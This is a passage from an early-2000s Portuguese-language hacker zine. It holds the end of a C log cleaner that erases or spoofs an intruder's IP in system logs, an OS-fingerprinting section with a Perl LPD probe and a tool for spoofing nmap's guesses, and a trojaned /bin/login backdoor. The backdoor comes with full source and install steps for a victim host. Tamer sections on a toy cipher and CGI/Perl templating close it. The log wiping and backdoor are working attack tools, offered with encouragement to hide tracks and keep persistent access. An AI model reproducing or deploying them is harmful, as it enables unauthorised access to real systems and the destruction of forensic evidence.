		close(f);
         } else {
               while(read(f,&newll,sizeof(struct lastlog)) > 0 ) { 
                 if(!strncmp(newll.ll_host,host,strlen(host))) {
			 if(fake) {
				 memcpy(newll.ll_host,fake,sizeof(newll.ll_host));
			 }else {
                   memset(&newll,0,sizeof( newll ));
			 }
                   lseek(f, -( sizeof (struct lastlog)),SEEK_CUR);
                   write(f,&newll, sizeof( newll ));
               }
          }
        close(f);
      }
    printf("cleaning lastlog finished\n\t"); 
}
void clean_logs(char *host,char *fake)
{
int i;
char buffer[MIN],buff[MAX];
FILE *fin,*fout;
char *logs[] = {MESSAGES, SECURE,SYSLOG, XFERLOG, AUTH, HTTPDA, HTTPDE} ;
char *modlogs[] = {"modMESSAGES", "modSECURE","modSYSLOG", "modXFERLOG",
		"modAUTH","modHTTPDA","modHTTPDE"} ;
	
     	i=0;
	while(i<7) {
		printf("cleaning %s\n\t",logs[i]);
                strcpy(buff,"");
		if((fin=fopen(logs[i],"r"))==NULL 
				|| (fout=fopen(modlogs[i],"w"))==NULL) {
			perror("fopen");
			fclose(fin);
		        i++;
		}
        
		while(fgets(buffer,MIN,fin) !=NULL) {
			   if(fake) { 
		                      if (strstr(buffer,host) ) {
			                 str_replace(buffer,host,fake);
			                 fputs(buffer,fout); 
                                      }else
					      fputs(buffer,fout);
			   }else {
				   if(!strstr(buffer,host))
					   fputs(buffer,fout);
			   }
		}
	    fclose(fin);
	    fclose(fout);
            if((fout=fopen(logs[i],"w"))==NULL 
	                   || (fin=fopen(modlogs[i],"r"))==NULL) {
		    perror("fopen");
		    fclose(fout);
	    }
	    while((fgets(buffer,MAX,fin)) !=NULL) {
		    fputs(buffer,fout);
	    }
            fclose(fin);           
            fclose(fout);
	    unlink(modlogs[i]);
            i++;
	}
	printf("cleaning logs file finished\n\t"); 
}
void str_replace(char *source,char *pattern,char *replace)
{
      char buffer[MIN];
      char part[MIN];
      int n;
      while((n=pos(source,pattern))>=0) {
                  strcpy(buffer,&source[n+strlen(pattern)]);
                  strcpy(&source[n],replace);
                  strncpy(part,source,n+strlen(replace));
                  part[n+strlen(replace)]='\0';
                  strcat(part,buffer);
                  strcpy(source,part);
                  n=pos(source,pattern);
             }  
}
int pos(char *source,char *pattern)
{
    char substring[MIN];
    int i=0,found=0,position;
    int pattern_len=strlen(pattern);
    while(!found && i<= strlen(source) - pattern_len) {
         strncpy(substring,&source[i],pattern_len);
         substring[pattern_len]='\0';
         if(strcmp(substring,pattern)==0)
              found=1;
         else
             ++i;
        }
     if(found)
           position=i;
      else 
           position=-1;
      return(position);
}

----------------------------------- EOF -----------------------------------

Para compilar, basta digitar:
~# gcc logcleaner-0.3.c -o logcleaner
Execute com:

~# ./logcleaner
missing argument
usage :./zap <ip>

Veja seu ip, digitando /sbin/ifconfig (na sua maquina)
E agora digite na shell:
~# ./logcleaner seu_ip

Aguarde um pouco.. 
Pronto! Caso keira confirmar se o programa apagou mesmo suas
entradas, digite na shell (peguei como exemplo o messages):
~# cat /var/log/messages | grep seu_ip
E veja se aparece seu IP la... 

Lembre-se, nunca deixe seus rastros para tras.. Como eu ja
disse antes, leia a edicao 06 do zinesbr para ter uma base
melhor sobre os arkivos de LOGS. La tb voce vai aprender 
uma maneira de nao ser logado pelo arkivo .bash_history 
(alele arkivo que loga todos os seus comandos digitados
durante uma sessao).

end!!
                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x08]
==[ OS Fingerprint ]==
==[ por Gotoxy     ]==

OS Fingerprint 
--------------

####################
# NMAP fingerprint #
####################

Para quem nao sabe, fingerprint eh uma tecnica utilizada para 
pegarmos a versao do sistema operacional de um host qlq. O Nmap
(um scan de portas) vem com essa tecnica embutida. Atraves da 
opcao -O do Nmap, eh possivel utilizar a tecnica fingerprinting.
Veja abaixo uma ilustracao:

localhost~# nmap -O localhost

Starting nmap V. 2.54BETA24 ( www.insecure.org/nmap/ )
Interesting ports on localhost (127.0.0.1):
(The 1541 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp

Remote operating system guess: Linux 2.1.122 - 2.2.16
Uptime 0.006 days (since Sat Dec  8 12:21:30 2001)

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds


Observe a seguinte linha:
  Remote operating system guess: Linux 2.1.122 - 2.2.16
Yeah! Sabemos que o host 'localhost' esta utilizando um Linux com a
versao da kernel 2.2.16. 

Existe um programa chamado FPF (FingerPrintFucker), cujo objetivo eh enganar 
a tecnica fingerprint. Ele eh um LKM feito pela pessoal da pkcrew 
(www.pkcrew.org), que muda o TCP/IP stack para emular um outro sistema 
operacional. Ele pode ser encontrado no proprio site da www.pkcrew.org,
na secao 'Our tools' do site. Para economizar seu tempo, aki segue o
link completo: www.pkcrew.org/tools/fpffix.tar.gz

Apos baixar ele, a instalacao eh a seguinte:

~# tar -zxvf fpffix.tar.gz
~# cd fpffix

Compile o FingerPrintFucker.c com a seguinte opcao:
gcc FingerPrintFucker.c -c -fomit-frame-pointer -O2 -I/usr/src/linux/include

Antes de compilar o parser.c, digite:

~# cat parser.c | grep -n FingerPrintFucker
222:    snprintf(cmd, 249, "insmod FingerPrintFucker WINDOW=%d
                                                    |
                                                 kd a extensao??
Agora, digite:

~# vi +222 parser.c

Bem.. como voce ja sabe, quando carregamos um modulo, temos que
digitar: insmod nomedomodule.o, se nao digitar o .o, o sistema
responde como se nao estive encontrado o modulo! No parser.c,
eles eskeceram(eskeceram??) de colocar o .o, entao basta voce
editar akele linha e mudar de 'insmod FingerPrintFucker' para
'insmod FingerPrintFucker.o' e depois sair salvando.

Ficando dessa maneira:
~# cat parser.c | grep -n FingerPrintFucker
222:    snprintf(cmd, 249, "insmod FingerPrintFucker.o WINDOW=%d
                                                     |
                                            hmm.. agora tem extensao!
Agora compile o parser.c com gcc parser.c -o parser
e depois execute-o:

~# ./parser 
Usage: ./parser os

Exemplo:

~# ./parser FreeBSD

FreeBSD 2.2.1 - 4.1 ? [y/n] y
                            Finger Print Fucker
Idea and lkm by |CyRaX| of Packet Knights Crew (www.pkcrew.org)
Parser for the nmap's file by FuSyS of S0ft Project (www.s0ftpj.org)
Comments to cyrax@pkcrew.org
THIS SOFTWARE IS SISTERWARE! REMEBER TO REGISTER!
See copyright info in FingerPrintFucker.c
~#

Quando alguem digitar: nmap -O suamakina ou entao se voce digitar
nmap -O localhost, o 'Remote operating system guess' sera o FreeBSD!
Voce pode escolher outros sistemas, tais como: Windows, BSDI, Linux,
OpenBSD, etc... enjoy!


###################
# LPD fingerprint #
###################

Eh possivel tambem obtermos a versao do sistema do host vitima, atraves
do LPD (Line Printer Daemon). Se algum host estiver com a porta 515(lpd)
aberta, eh possivel obtermos qual sistema operacional o host esta 
utilizando.

Abaixo segue 2 programas necessarios. O segundo programa eh a data
base deste primeiro. Os dois trabalham juntos! Este primeiro, o
lpdfp, vai conectar no host vitima pela porta 515(lpd) e depedendo
da resposta do host vitima, o lpdfp vai ver se esta resposta se
encontra no lpdfb.db, e assim vai descobrir que sistema operacional
o host esta utilizando.


O Script segue abaixo:
----------------------

#!/usr/bin/perl
#
# LPDFP: Line Printer Daemon OS FingerPrinting Tool
# -- Proof of Concept code
# -- by f0bic@low-level.net
#
# usage: ./lpdfp <host>
#
#

use Socket;

# Section 1: Default Variables

if($#ARGV < 0){&usage;}

my($host)=$ARGV[0];
my($port)="515";        # lpd port
my($conf)="./lpdfp.db"; # lpd fingerprints file

# Malformed LPD Query String
# RFC 1179 (LPD Protocol Specification)

$bpf1  = chr(77); # ascii "M"  -> Mail user upon printing
$bpf2  = chr(10); # ascii "LF" -> End lpd query string
$bpf   = $bpf1;   # appending BPF query string (1)
$bpf  .= "user";
$bpf  .= $bpf2;   # appending BPF query string (2)


# Section 2: Header

print qq~
 -- Line Printer Daemon OS Fingerprinting
 -- by f0bic\@low-level.net

~; 

# Section 3: LPD Fingerprints Database Configuration File

open(FD, $conf) || die("\n -- [error] - open() : unable to open database $conf\n\n");
while(<FD>){
  $line = $_;
  if($line =~/^#/) { next;}
  if($line){ $line =~ s/\t+/\t/g;
    ($OS, $REPLY) = split(/\t/,$line);
    $lpdprint = {};
    $lpdprint->{OS} = $OS;
    $lpdprint->{REPLY} = $REPLY;
    push @printdata, $lpdprint;
  } else {
    die("\n -- [error] - $conf is blank or corrupt.\n\n");}
  }
close(FD);                                                       

# Section 4: Linking up:) -- Making the connection

$iaddr = gethostbyname($host) || die("\n -- [error] - gethostbyname(): hostname 
lookup failure\n\n");
$paddr = sockaddr_in($port, $iaddr) || die ("\n -- [error] - sockaddr_in(): $!\n\n");
$proto = getprotobyname('tcp'); 
socket(S, PF_INET, SOCK_STREAM, $proto);
connect(S, $paddr) || die("\n -- [error] - connect(): port $port on $host is 
closed: $!\n\n");
print " -- [lpd/fp] connected to $host \n\n"; # We're ready 2 engage fingerprinting:)

send(S, $bpf, 0);           # sending the BPF query string
recv(S, $message, 200, 0);  # receiving the message from cyberspace

# Section 5: Verifying the message
if(length($message) == "0"){ &printEmpty; }       

$mcpy = $message;
$mcpy =~ s/\r//g;
$mcpy =~ s/\n//g;
$message =~ s/\r//g; # removing the returns
$message .= "\n";    # makes matching easier:)


foreach (@printdata) {
   if($message =~ /(.*)($_->{REPLY})(.*)/) {
      $osguess = $_->{OS};
      print " \t[ Possible Operating System(s): ]\n\n\t --> $osguess\n\n\n";
      exit();
   }
}                                                   

if(!$osguess) {
   &printUnknown;
}

# Section 6: Empty Reply

sub printEmpty {
print qq~
    [Empty Response]

    We have not received any response from lpd.
    This might be a sign of any operating system,
    but these are also the characteristics of the
    following Operating Systems:

        --> Compaq Tru64 UNIX
        --> HP-UX
        --> DG-UX
        --> AS/400           
        --> VM/ESA


~;
exit;
}

# Section 7: Unknown Fingerprint

sub printUnknown {
$date = `date`;
print qq~
    [Unknown Fingerprint]

    An unknown fingerprint has been gathered!
    Please submit the  following  information
    to f0bic\@low-level.net :

   
       * Fingerprint --> $message
       * Host        --> $host
       * Date        --> $date

                 
~;
exit;
}

# Section 8: LPDFP For Dummies

sub usage {
print qq~
 -- Line Printer Daemon OS Fingerprinting
 -- by f0bic\@low-level.net
 
    Usage: $0 <host>

~;      
exit;
}
#
# FIM


A DataBase segue abaixo:
------------------------

# 
# LPDFP Fingerprints Database File
#
# Operating System		Fingerprint 
#
FreeBSD, OpenBSD              	lpd: Your host does not have line printer access
FreeBSD				lpd: Host name for your address
AIX				ill-formed FROM address(.*)
OpenVMS				Your host does not have printer access
OpenVMS				Your host does not have line printer access
ConvexOS			\/usr\/lib\/lpd: Malformed from address
SGI IRIX			\/usr\/etc\/lpd: (.*):(.*)
Linux				\/usr\/sbin\/lpd:(.*): Malformed from address
Linux				lpd:(.*): Malformed from address
Linux				no connect permissions
SunOS/Solaris (Possibly 5.6)	(.*)\/lpd: Malformed from address
NetBSD, Linux			lpd: Malformed from address
SunOS/Solaris			Invalid protocol request(.*)
SCO UnixWare, UNIX System V Release 4		(.*)Illegal service request(.*)
#
# FIM

Coloke estes 2 programas em um mesmo diretorio! Para usar eh muito
simples, acompanhe este exemplo:

localhost~# chmod +x lpdfp
localhost~# ./lpdfp

 -- Line Printer Daemon OS Fingerprinting
 -- by f0bic@low-level.net

    Usage: ./lpdfp <host>

localhost~# ./lpdfp 200.200.200.200

 -- Line Printer Daemon OS Fingerprinting
 -- by f0bic@low-level.net

 -- [lpd/fp] connected to 200.200.200.200

        [ Possible Operating System(s): ]

         --> Linux

Como pode perceber, realmente funciona. Testei isso na makina
de um mano meu e ele realmente estava usando Linux.
Este programa tb se encontra em:
http://www.low-level.net/f0bic/releases/lpdfp.tar.gz



######################
# Telnet Fingerprint #
######################

Tb eh possivel fazer fingerprint via telnet(23). Para isso, temos
que utilizar um programa feito pelo Palmers, da Teso (www.team-teso.org).
Este programa pode ser obtido no proprio site da teso!!
Para usar nao tem misterio, apos baixa-lo, basta descompactar e dps
digitar make!! Se ocorrer algum erro, edite o Makefile e mude a linha
CC = g++
para
CC = gcc
e depois saia e salve o arkivo e digite make novamente!! Agora deve
funcionar!!
Apos isso, basta roda-lo assim:
$ ./telnetfp
telnetfp0.1.2 by palmers / teso
Usage: ./telnetfp [-v -d <file>] <host>
        -v:              turn off verbose output
        -t <x>:          set timeout for connect attemps
        -d <file>:       define from which file finger prints shall be
read (default: fps)
        -i (b|a):        interactive mode. read either (b)inary or (a)scii
fingerprints from stdin

EXEMPLO:
-=-=-=-= ilustracao -=-=-=-=-
$ ./telnetfp localhost
telnetfp0.1.2 by palmers / teso
DO:   255 253 24 255 253 32 255 253 35 255 253 39
DONT: 255 250 32 1 255 240 255 250 35 1 255 240 255 250 39 1 255 240 255 250 
24 1 255 240
Found matching finger print: Linux
-=-=-=-= ilustracao -=-=-=-=- |
                        ohhhh yes!! =)
Ps: se nao kiser ver esse tanto de "lixo" na tela, rode-o com:
    ./telnetfp -v localhost

Como estao vendo realmente funciona!! Se kiserem verem o conceito dessa
tecnica, visitem o site da teso... Se analisar um pouco esse programa,
voce ja sabera que ele faz akela checagem DO/DONT e a partir disso, ele
olha o arkivo fps, e assim sabe qual eh o OS!

end!
                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x09]
==[ Backdoors Parte V ]==
==[ por Gotoxy        ]==

BACKDOORS 

  Invadir um sistema requer alguma experiencia do atacante.Em alguns
sistemas, se deve ter muita experiencia, pois, o nivel de seguranca
do servidor eh bastante alto. Em todos os casos,eh recomendavel 
instalar alguma backdoor no sistema alvo, pois assim voce tera
acessos futuros com mais facilidade. Para quem se esqueceu, uma 
backdoor(porta dos fundos), consiste em uma maneira de "burlar" o
sistema, para assim voce entrar nele com mais facilidade.Este setor
do ZiNESbr eh justamente isso... ensinar a todos voces, fucadores,
como instalar backdoors legais e eficazes! nesta quinta parte, eu 
vou estar falando de uma backdoor que eu escrevi, baseada no ulogin.
Ela eh pouco conhecida, mas a partir de agora isso vai mudar!:) 
De agora em dianta ela vai ser conhecida como a backdoor do DISPLAY!
  Resumidamente, este programa (que eu nomeei de logon.c), burla o
login original do sistema,ou seja, o /bin/login (aquele executavel
que nos permite a se logar no sistema).

Abaixo segue o codigo fonte do logon.c

/******************************************************
 ***************  Backdoor do DISPLAY  ****************
 ** Backdoor escrita por Gotoxy <gotoxy@linuxbr.com.br>
 **     Baseada no ulogin!!
 **
 ** ZiNESbr - www.zinesbr.hpg.com.br
 ** 
*/

#include <stdio.h>

// Defina abaixo o path de onde se encontra o /bin/login original 
#define LOGIN "/dev/.m/login"

// Defina abaixo a senha a ser utilizada 
#define SENHA "zinesbr"

char **shell;

int main(argc, argv)
int argc;
char *argv[];
{
shell = argv;
if ((char *)getenv("DISPLAY") != (char *)NULL)
if (strncmp(getenv("DISPLAY"),SENHA,strlen(SENHA)) == 0)
execl("/bin/bash","bash","-i", (char *)0);
execv(LOGIN, shell);
}
---------------------------< logon.c >---------------------------

Como voce pode perceber no source acima, eu ja defini a senha como 
sendo 'zinesbr', mas se voce kiser muda-la, fique a vontade! E no
define LOGIN, onde sera o path do login original, eu coloquei para
apontar para /dev/.m/login. Logo logo, voce vai ficar sabendo
melhor do que isso se trata... Portanto, continue lendo.

Abaixo segue os passos para a instalacao:

- 1o passo:
Criamos um diretorio para ficar a backdoor.. no caso aqui, eu deixei
como sendo o diretorio /dev/.m, entao digitamos:
vitima~# mkdir /dev/.m

- 2o passo:
Copiamos o logon.c e o /bin/login para /dev/.m

- 3o passo:
Entre no diretorio /dev/.m, e la edite o logon.c caso queira
modificar a senha, ou entao o path onde esta o /bin/login 
original. Mas caso queira deixar do jeito que ta (o senha
e o path do login origina), pule para o passo seguinte.


- 4o passo: 
Compile o logon.c, para isso, digite:
vitima~# gcc logon.c -o logon

- 5o passo:
Agora para o quinto passo, digite essa sequencia de comandos:
vitima~# cp /dev/.m/logon /bin/login
vitima~# chmod +x /bin/login

Pronto!! Instalacao finalizada!!
Agora vamos aos testes!!

- 6o passo:
Digite:

zinesbr~# telnet host_vitima /* entrando no host_vitima pela minha shell */
Trying 200.0.0.1...
Connected to vitima.
Escape character is '^]'.

vitima login: 
(...)

Pediu o login... mas a gente nao ker login, a gente
ker entrar na shell direto!! entao fazemos assim: leia
o 7o passo!


- 7o passo:
Basta digitar:

zinesbr~# DISPLAY=senha; export DISPLAY
OU entao
zinesbr~# export DISPLAY=zinesbr

ps: onde senha eh akela q vc definiu no logon.c ..se
lembra??

ilustracao:

zinesbr~# DISPLAY=zinesbr; export DISPLAY
zinesbr~# telnet host_vitima
Trying 200.0.0.1...
Connected to vitima.
Escape character is '^]'.
sh-2.04#

heheh legal ne?? se voce nao tivesse digitado o DISPLAY=senha,
ou entao se voce digitasse DISPLAY=senha_errada, voce nao conseguiria
entrar na shell direto!! Vc ia cair na tela de login!! Mas voce setando
o DISPLAY para a senha correta e se logando no host onde esta 
com essa backdoor, voce vai cair na shell direto!! Massa nao?!! :P
Eh uma das melhores backdoors(pois eh muito discreta)!!

vou terminando por aki.. proxima edicao devo publicar mais 
backdoors legais que existem por aih!! nao percam..:) e lembre-se:
nunca se eskeca de instalar alguma backdoor em um sistema em
que voce quer ter acessos futuros!! 

ahh e por favor, nao deixe meus creditos na hora de colocar o source
do logon.c em um server hein!! senao dps sobra eh para mim!:)


ate!!

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x10]
==[ CryptBR v1.0 ]==
==[ por Gotoxy   ]==

Criptografia
############

Criptografia eh a arte de cifrar e decifrar dados. Ela serve para voce 
proteger dados(muita vezes proteger de sniffers). Com ela, a seguranca
aumenta bastante(apenas aumenta,mas nao eh o necessario para sua rede
nao ser invadida). A criptografia tb eh usada para voce deixar um arquivo
de um jeito que ninguem possa le-lo, alem de voce, pois soh voce conhecera
a chave para desencriptografar o arquivo.

Neste texto eu vou estar publicando um exemplo de um encryptador e
desencryptador, apenas para voces, leitores, terem uma ideia melhor de
como funciona o eskema!! Lembre-se: vou estar publicando um encryptador
bastante simples, e que deve ser usado apenas para testes! Isso aki nao 
eh como a criptografia RSA.. fazer uma criptografia dakelas eh muito mais
complicado... requer algoritmos eficientes!! :P


Abaixo segue o source do cryptbr.c


-------------------------< cryptbr.c >-------------------------
/**********************
* Encryptador Zinesbr *
*   wrote by Gotoxy   *
***********************/

#define VERSION "1.0"

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv){

FILE *fp1,*fp2;
char x; int y;
int test;

if(argc<4){

system("/usr/bin/clear");
printf("\n-=-= Encryptador e Desencryptador Zinesbr v"VERSION" -=-=\n");
printf("\nSintaxe: \n");
printf("\n$ %s enc [file1] [file2] - Para Encriptar",argv[0]);
printf("\n$ %s des [file2] [file3] - Para Desencriptar\n",argv[0]);
printf("\n\nCriptografando...\n");
printf("Exemplo: ./crypt enc /etc/passwd /tmp/passwd_encryptado\n");
printf("\nDescriptografando...\n");
printf("Exemplo: ./crypt des /tmp/passwd_encryptado /tmp/passwd\n\n");
exit(0);
}
if(!strcmp(argv[1],"enc")){
fp1 = fopen(argv[2],"r");
if(!fp1){
printf("Nao consigo abrir o arquivo!\n");
exit(1);
}
fp2 = fopen(argv[3],"w");
for(y=0; !feof(fp1);y++){
x=getc(fp1);
test = ( int ) x;
if((test/2) == 0 ) 
putc(x+=2,fp2); /* acrescenta 2 bit no texto */
else
putc(x+=3,fp2);
}
fclose(fp1);fclose(fp2);
return 0;
}
if(!strcmp(argv[1],"des")){
fp1 = fopen(argv[2],"r");
if(!fp1){
printf("Nao consigo abrir o arquivo!\n");
exit(1);
}
fp2 = fopen(argv[3],"w");
for(y=0; !feof(fp1);y++){
x=getc(fp1);
test = ( int ) x;
if((test/2) == 0 )
putc ( x-=2,fp2 ); /* retira 2 bit no texto */
else 
putc (x-=3 ,fp2 );
}
fclose(fp1);fclose(fp2);
                       

}
 return 0;

} 
-------------------------< cryptbr.c >-------------------------

############
#compilando#
############

jogue esse source
para algum arkivo com extensao .c (como cryptbr.c) e dps 
compile-o:

$ gcc cryptbr.c -o cryptbr

############
#executando#
############

./cryptbr

-=-= Encryptador e Desencryptador Zinesbr v1.0 -=-=

Sintaxe:

$ ./cryptbr enc [file1] [file2] - Para Encriptar
$ ./cryptbr des [file2] [file3] - Para Desencriptar


Criptografando...
Exemplo: ./cryptbr enc /etc/passwd /tmp/passwd_encryptado

Descriptografando...
Exemplo: ./cryptbr des /tmp/passwd_encryptado /tmp/passwd


########
#usando#
########

para usar eh facil ... como no proprio programa diz,
para encryptar, a sintaxe eh esta:

$ ./cryptbr enc [file1] [file2] 

onde:
enc -> eh a opcao do programa de criptografar
file1 -> arkivo de origem
file2 -> arkivo de destino

um exemplo seria voce fazer isso:

$ echo "Ola mundo" > teste
$ ./cryptbr enc teste teste2 
$ vi teste2

hmmm.. realmente funciona!! agora, vamos aprender como podemos
desencriptografar!

como o proprio programa diz, para desencryptografar, a sintaxe
eh esta abaixo:

$ ./cryptbr des [file2] [file3] 

Onde:
des -> opcao de descriptografar
file2 -> arquivo que ja esta criptografado
file3 -> sera a saida do file2 descriptografado

Levando em consideracao aquele mesmo exemplo de cima, para
eu descriptografar o arkivo teste2 eu faria assim:

$ ./cryptbr des teste2 teste3
$ vi teste2

Bele.. funcionou! 

############
#concluindo#
############

Criptografia eh muito utilizada hoje em dia... eh mais usado ainda
nakeles sites(naum todos) onde voce pode fazer compras pela internet
(nao confie em qlq site naum!! tome muito cuidado na hora de fazer
compras pela net!)
Se kiser se aprofundar em criptografia, recomendo estudar muito
matematica!! Para assim fazer poderosos algoritmos de criptografia!!

E quando ao cryptbr.c, eu vou estar melhorando ele!! Talvez, em breve, 
vou estar publicando novas versoes dele, e a cada versao, uma melhoria 
sera adicionada!! Portanto, aguardem!! O C/Romano e o Rcbt vao estar
me ajudando nessa!! valeu :)

Eh isso!!

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x11]
==[ Criando sites em CGI/Perl ]==
==[ por Backz                 ]===

  ---------------------------------------
  > Backz                               <
  > backzoverflow@yahoo.com             <
  > Thankz CodeBR, Unsekurity e ZinesBR <
  ---------------------------------------

.:) Topicz
	
	
        1 - Introduo
	2 - Primeiros Passos
	3 - Infoget em CGI
	4 - End





.:) 1 - Introduo 

  
  Este texto foi criado para a codebr, todos os exemplos aqui descrevem como
ela funciona, agora, como um ex-membro fao questo de divulgar para zinesbr 
e outras fontes. O endereo da codebr  www.codebr.cjb.net.

  Esta  a primeira vez que eu escrevo para a codebr como um colaborador
e no como um membro..;)) Agora a codebr  do nosso amigo n3tw0rk e pelo o
que eu tenho visto ele tem mostrado responsabilidade no que diz respeito o
site. Longa vida a programao!! 

  Neste txt tentarei explicar como usar o CGI para facilitar
atualizaes em sites. No me aprofundarei no assunto, e depois no final
revelarei alguns segredos da CodeBR.  recomendvel antes de tudo
algum conhecimento em Perl e HTML. Boa leitura ;))




.:) 2 - Primeiros Passos

  Antes de tudo vc deve ter em mente o diretrio do Perl, na maioria dos 
servers  /usr/bin/perl, mas pode ser tambm em /usr/local/bin/perl
ento comece fazendo seu script (index.cgi) com a seguinte linha:

  #!/usr/bin/perl


 Para que o navegador entenda que  um documento HTML, todo doc em CGI
deve ter a seguinte linha:

  print "Content-type: text/html\n\n";

  
  Bom, aqui vai um exemplo do uso de perl em documentos HTML (CGI)
em breve vc ver no que ele ir ajudar:
  Antes de enviar ao seu servidor via FTP, certifique-se que esteja
enviando o script (.cgi ou .pl) de forma ASCII, pois se o mesmo for
enviado de forma BINRIA no poder ser executado.


#!/usr/bin/perl

$nome = "Backz";
$idade = "15";
$banda = "Shai Hulud";

print "Content-type: text/html\n\n";

print '
<html>
<head>
<title>'."$nome".'</title>
</head>
<body bgcolor="#ffffff">
';


print '
Meu nome  '."$nome".'<br>
Tenho '."$idade".' anos<br>
E curto '."$banda".'<br><br>
';


print '
</body>
</html>
';

# EOF

Pronto, sacou como ? agora coloque ae o script no seu diretrio
cgi-bin e teste, e depois tente pegar o cdigo html gerado pelo
browser. Vc ver o seguinte cdigo:


<html>
<head>
<title>Backz</title>
</head>
<body bgcolor="#ffffff">

Meu nome  Backz<br>
Tenho 15 anos<br>
E curto Shai Hulud<br><br>

</body>
</html>


E cade as linhas em perl que eu digitei??  isso ae, nao aparecem,
aps vc acessar o script pelo browser, o servidor chama o perl e 
ele interpreta, gerando assim um cdigo em HTML para o navegador.
Pode-se ento ter certeza que vc poder colocar senhas, ou qq coisa
que voc nao quer que aparea no HTML que  uma linguagem segura.

Vamos ser prticos. Suponhamos que vc tenha que fazer o site no
qual ter um nico menu, esttico, no qual raramente ser atualizado
e no centro da pgina ir conter os textos e as notcias (como  o caso da CodeBR)
Vc vai fazendo tudo em HTML, passam-se os anos e vc tem que mudar um tem naquele
menu, s que agora o seu servidor j tem 33.000 pginas em HTML, vc vai mudar tudo
na raa? ou prefere antes de tudo aderir ao CGI para fazer isso??

O HTML da pgina  este:

<!-- noticia1.html -->

<html>
<head>
<title>Notcias</title>
</head>
<body>

<table border="1" widh="600" align="center">
<tr>
<td valign="top">


<B>Alguns Links</B>
<li><a href="http://www.zinesbr.hpg.com.br">ZinesBR</a>
<li><a href="http://unsekurity.virtualave.net">Unsekurity</a>
<li><a href="http://mail.yahoo.com">Yahoo! Mail</a>
<li><a href="http://www.microsoft.com">Microsoft</a>


</td>
<td valign="top">
<center><B> Notcia 01 </B></center>

<br><br>

Este  um exemplo de uma notcia<br>
Este  um exemplo de uma notcia<br>
Este  um exemplo de uma notcia pow!<br><br>

</td>
</tr>
</table>
</body>
</html>


<!-- end noticia2.html -->


Bom, aps vc criar o seu HTML inteira (nao precisa ser bem este n? 
esse ta bem podre) separe os cdigos, vamos colocar a parte de links em
um HTML separado, chamado de links.html que ir ficar no mesmo diretrio
do index.cgi, no caso cgi-bin. O cdigo html do link ser este:


 
<!-- links.html -->
<li><a href="http://www.zinesbr.hpg.com.br">ZinesBR</a>
<li><a href="http://unsekurity.virtualave.net">Unsekurity</a>
<li><a href="http://mail.yahoo.com">Yahoo! Mail</a>
<li><a href="http://www.microsoft.com">Microsoft</a>
<!-- end links.html -->



Pronto, nao invente de colocar a tag <html> ou <body> pq nao precisa!
Agora iremos fazer o mesmo com o centro, no caso as notcias:



<!-- noticias.html -->
<center><B> Notcia 01 </B></center>

<br><br>

Este  um exemplo de uma notcia<br>
Este  um exemplo de uma notcia<br>
Este  um exemplo de uma notcia pow!<br><br>
<!-- end noticias.html -->






Agora com o seguinte algortimo (ser mostrado abaixo), ele ir pegar os
HTML's e ir colar na page gerando um nico arquivo, e assim quando vc precisar
atualiza-los, vc s ter o trabalho de atualizar apenas um arquivo HTML, e nao
um monte de HTML. Veja s como ficou o script:



#!/usr/bin/perl
print "Content-type: text/html\n\n";


print '
<html>
<head>
<title>Notcias</title>
</head>
<body>

<table border="1" widh="600" align="center">
<tr>
<td valign="top">
';

### AQUI VEM O ALGORTIMO PROS LINKS

$links = 'links.html'; 
open(INFO, $links);
@links2 = <INFO>;
close(INFO);
print @links2;


###################### FIM DO ALGORTIMO


print '
</td>
<td valign="top">
';



### AQUI VEM O ALGORTIMO PRA NOTICIA

$noticias = 'noticias.html'; 
open(INFO, $noticias);
@noticias2 = <INFO>;
close(INFO);
print @noticias2;

###################### FIM DO ALGORTIMO


print '
</td>
</tr>
</table>
</body>
</html>
';

# EOF




Pronto! Agora bote isso ae para funcionar..;))
certifique-se que os arquivos noticias.html e links.html
estao no mesmo diretrio que o index.cgi. Agora veja o cdigo gerado 
em HTML apenas!:



<html>
<head>
<title>Notcias</title>
</head>
<body>

<table border="1" widh="600" align="center">
<tr>
<td valign="top">
<!-- links.html -->
<li><a href="http://www.zinesbr.hpg.com.br">ZinesBR</a>
<li><a href="http://unsekurity.virtualave.net">Unsekurity</a>
<li><a href="http://mail.yahoo.com">Yahoo! Mail</a>
<li><a href="http://www.microsoft.com">Microsoft</a>
<!-- end links.html -->
</td>
<td valign="top">
<!-- noticias.html -->
<center><B> Notcia 01 </B></center>

<br><br>

Este  um exemplo de uma notcia<br>
Este  um exemplo de uma notcia<br>
Este  um exemplo de uma notcia pow!<br><br>
<!-- end noticias.html -->
</td>
</tr>
</table>
</body>
</html>


UHaiuahUIAHhUIHAIuh!! Sacou como funciona? l0ko n? Agora ensinarei a vc como 
usar a query string. A query string  aquela variavel que fica na URL, ex:

http://dkochm.tripod.com/cgi-bin/index.cgi?codebr=colabore

a query string aqui  a codebr=colabore, para podermos fazer isso, temos
que incluir no incio do script um outro algortimo e no script usar
o if e o else.

O algortimo  este aqui, ele permite que ponha uma varivel na 
$QUERY_STRING, assim ao invez de vc usar download.cgi?linux vc pode usar 
algo como download?id=linux ou at mesmo algo avanado como 
download.cgi?id=linux&page=2&type=rpm

 
Inclua em seu script depois de declarar
o local do executvel do perl:



# funcao que poe variavel na query_string
sub parse_query {
  my $string;
  my %in;
  if ($ENV{'REQUEST_METHOD'} eq "POST") {
    read(STDIN, $string, $ENV{'CONTENT_LENGTH'});
  } elsif ($ENV{'REQUEST_METHOD'} eq "GET") {
    $string = $ENV{'QUERY_STRING'};
  }

  $string =~ s/\+/ /g;
  $string =~ s/\%([0-9A-Fa-f][0-9A-Fa-f])/pack('C', hex("$1"))/eg;

  my @vars = split(/&/, $string);
  foreach (@vars) {
    my ($var, $value) = split(/=/, $_);
    $query{$var} = $value;
  }
  return %in;
}


# chamando a funcao
&parse_query;  




Pronto  isso ae, vamos ver um exemplo com este algortimo, 
para que vc entenda melhor,  recomendvel vc testar todos
os scripts deste texto. Caso no entenda, releia ou me envie
um mail que eu tentarei explicar..;))




